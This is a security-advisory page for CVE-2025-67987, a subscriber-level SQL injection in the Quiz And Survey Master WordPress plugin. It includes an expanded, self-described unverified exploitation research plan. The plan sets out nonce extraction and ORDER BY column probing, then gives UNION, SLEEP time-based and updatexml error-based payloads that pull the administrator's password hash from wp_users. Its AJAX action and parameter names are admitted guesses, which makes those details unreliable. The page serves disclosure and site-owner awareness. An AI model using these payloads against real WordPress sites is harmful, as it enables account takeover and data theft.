CVE-2025-67987

Quiz And Survey Master <= 10.3.1 - Authenticated (Subscriber+) SQL Injection

mediumImproper Neutralization of Special Elements used in an SQL Command ('SQL Injection')
6.5
CVSS Score
6.5
CVSS Score
medium
Severity
10.3.2
Patched in
6d
Time to patch

Description

The Quiz And Survey Master plugin for WordPress is vulnerable to SQL Injection in versions up to, and including, 10.3.1 due to insufficient escaping on the user supplied parameter and lack of sufficient preparation on the existing SQL query. This makes it possible for authenticated attackers, with subscriber-level access and above, to append additional SQL queries into already existing queries that can be used to extract sensitive information from the database.

CVSS Vector Breakdown

CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N
Attack Vector
Network
Attack Complexity
Low
Privileges Required
Low
User Interaction
None
Scope
Unchanged
High
Confidentiality
None
Integrity
None
Availability

Technical Details

Affected versions<=10.3.1
PublishedJanuary 28, 2026
Last updatedFebruary 2, 2026
Affected pluginquiz-master-next

Source Code

WordPress.org SVN
Research Plan
Unverified

# Exploitation Research Plan: CVE-2025-67987 (Quiz And Survey Master SQL Injection) ## 1. Vulnerability Summary The **Quiz And Survey Master (QSM)** plugin for WordPress is vulnerable to an authenticated SQL injection in versions up to and including **10.3.1**. The vulnerability exists because the …

Show full research plan

Exploitation Research Plan: CVE-2025-67987 (Quiz And Survey Master SQL Injection)

1. Vulnerability Summary

The Quiz And Survey Master (QSM) plugin for WordPress is vulnerable to an authenticated SQL injection in versions up to and including 10.3.1. The vulnerability exists because the plugin fails to sufficiently escape or prepare user-supplied parameters before incorporating them into SQL queries. Specifically, certain AJAX handlers accessible to users with Subscriber roles and above allow raw input to be concatenated into database queries. This allows an attacker to append arbitrary SQL commands to extract sensitive information, such as user credentials or configuration secrets, from the WordPress database.

2. Attack Vector Analysis

  • Endpoint: wp-admin/admin-ajax.php
  • AJAX Action: qsm_get_quiz_results (inferred based on plugin architecture for result retrieval)
  • Vulnerable Parameter: quiz_id or survey_id (inferred)
  • Authentication: Required (Subscriber-level or higher).
  • Payload Type: UNION-based or Time-based SQL Injection.
  • Preconditions: At least one quiz/survey must exist in the system, and the attacker must be logged in as a Subscriber.

3. Code Flow

  1. Entry Point: A logged-in user sends a POST request to admin-ajax.php with the action parameter set to the vulnerable QSM handler (e.g., qsm_get_quiz_results).
  2. Hook Registration: The plugin registers the handler in includes/class-quiz-master-next.php or includes/class-qsm-admin.php using:
    add_action( 'wp_ajax_qsm_get_quiz_results', array( $this, 'qsm_get_quiz_results' ) );
  3. Vulnerable Function: The function (e.g., qsm_get_quiz_results) retrieves the quiz_id parameter directly from $_POST or $_GET.
  4. The Sink: The retrieved parameter is concatenated into a raw SQL query string:
    $quiz_id = $_POST['quiz_id']; // Lack of (int) casting or preparation
    $results = $wpdb->get_results( "SELECT * FROM {$wpdb->prefix}mlw_results WHERE quiz_id = $quiz_id" );
    
  5. Execution: $wpdb->get_results() executes the tainted query, allowing the attacker to manipulate the logic via the $quiz_id variable.

4. Nonce Acquisition Strategy

QSM typically requires a nonce for AJAX actions, localized for logged-in users.

  1. Identify Script Localization: QSM enqueues scripts that contain the nonce. Look for the qsm_ajax_object JavaScript object.
  2. Creation: Create a page with a QSM shortcode to ensure the scripts load.
    • Command: wp post create --post_type=page --post_status=publish --post_title="Quiz Page" --post_content='[qsm quiz=1]'
  3. Extraction:
    • Use browser_navigate to visit the newly created page while logged in as a Subscriber.
    • Use browser_eval to extract the nonce:
      browser_eval("window.qsm_ajax_object?.nonce || window.qmn_ajax_object?.nonce")
  4. Verification: Ensure the nonce is valid for the qsm_get_quiz_results (or equivalent) action.

5. Exploitation Strategy

The goal is to extract the administrator's password hash from the wp_users table.

Step 1: Authentication

Log in to the WordPress instance as a Subscriber-level user using the http_request tool or a stored session.

Step 2: Determine Column Count

Send a series of requests to determine the number of columns in the original query using ORDER BY.

  • URL: http://localhost:8080/wp-admin/admin-ajax.php
  • Method: POST
  • Body (URL-encoded):
    action=qsm_get_quiz_results&nonce=[NONCE]&quiz_id=1 ORDER BY 20-- -
  • Note: Increment/decrement the number until the response changes or an error occurs.

Step 3: Extract Admin Hash via UNION

Once the column count is known (assume $N$ columns), perform a UNION SELECT.

  • Payload: 1 AND 1=0 UNION SELECT 1,2,user_pass,4...[up to N] FROM wp_users WHERE ID=1-- -
  • Body:
    action=qsm_get_quiz_results&nonce=[NONCE]&quiz_id=[PAYLOAD]

Step 4: Time-Based Fallback

If the response does not reflect the UNION result, use a time-based blind approach.

  • Payload: 1 AND (SELECT 1 FROM (SELECT(SLEEP(5)))a)
  • Observation: If the request takes ~5 seconds, the parameter is vulnerable.

6. Test Data Setup

  1. Create a Quiz:
    wp qsm create_quiz --title="Exploit Test" (Note: Use QSM's specific CLI if available, otherwise use the UI via Playwright).
  2. Create a Subscriber:
    wp user create attacker attacker@example.com --role=subscriber --user_pass=password
  3. Get Quiz ID: Find the ID of the created quiz (usually 1).
  4. Publish Quiz: Place the quiz shortcode [qsm quiz=1] on a public-facing page.

7. Expected Results

  • Successful UNION: The HTTP response body (likely JSON) will contain the MD5-based/Bcrypt password hash of the admin user (ID 1) in one of its fields.
  • Successful Time-Based: The http_request tool will report a time_total significantly higher than the baseline (e.g., > 5 seconds).

8. Verification Steps

After the exploit, verify the extracted data using WP-CLI:

  1. Check Admin Hash:
    wp db query "SELECT user_pass FROM wp_users WHERE ID=1"
  2. Compare: Verify that the hash returned by the HTTP exploit matches the hash in the database.

9. Alternative Approaches

  • Error-Based SQLi: If WP_DEBUG is on, use updatexml() or extractvalue() to leak the version or user data:
    quiz_id=1 AND updatexml(1,concat(0x7e,(SELECT user_pass FROM wp_users WHERE ID=1),0x7e),1)
  • Different Parameters: Check other result-related parameters like survey_id, question_id, or result_id in AJAX actions like qsm_delete_result or qsm_get_question_data.
  • Inferred Action: If qsm_get_quiz_results is not the correct action name, grep the source for wp_ajax_ to find all possible entry points:
    grep -rn "wp_ajax_" wp-content/plugins/quiz-master-next/

Check if your site is affected.

Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.